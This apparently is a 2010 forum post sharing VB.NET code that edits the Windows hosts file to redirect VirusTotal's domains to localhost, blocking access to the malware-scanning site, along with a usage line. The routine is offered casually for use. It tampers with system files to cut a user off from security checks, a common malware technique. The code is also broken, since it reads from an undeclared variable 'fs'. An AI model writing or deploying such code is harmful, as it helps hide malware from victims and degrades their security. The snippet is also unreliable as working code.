Mar 27, 2010 10:43 PM
(This post was last modified: Mar 27, 2010 10:43 PM by Samuell.)
Bored out of my mind, decided to throw this together for my friend. This specific example blocks the user from accessing VirusTotal by editing his/her hosts file. Please do note that in order for these changes to take effect you'll need to restart your computer. (Or at the the very least your internet connection).
Source Code:
Usage:
Source Code:
Code
Sub WebsiteBlocker()
Dim hostrape As String
Dim TheThingThatReadsShit As New StreamReader("C:/windows/system32/drivers/etc/hosts")
hostrape = fs.ReadToEnd()
TheThingThatReadsShit.Dispose()
TheThingThatReadsShit.Close()
Dim Meltwriter As New StreamWriter("C:/windows/system32/drivers/etc/hosts")
Meltwriter.WriteLine(hostrape)
Meltwriter.WriteLine("127.0.0.1 www.virustotal.com")
Meltwriter.WriteLine("127.0.0.1 virustotal.com")
Meltwriter.Flush()
Meltwriter.Close()
Exit Sub
End SubUsage:
Code
Call WebsiteBlocker()
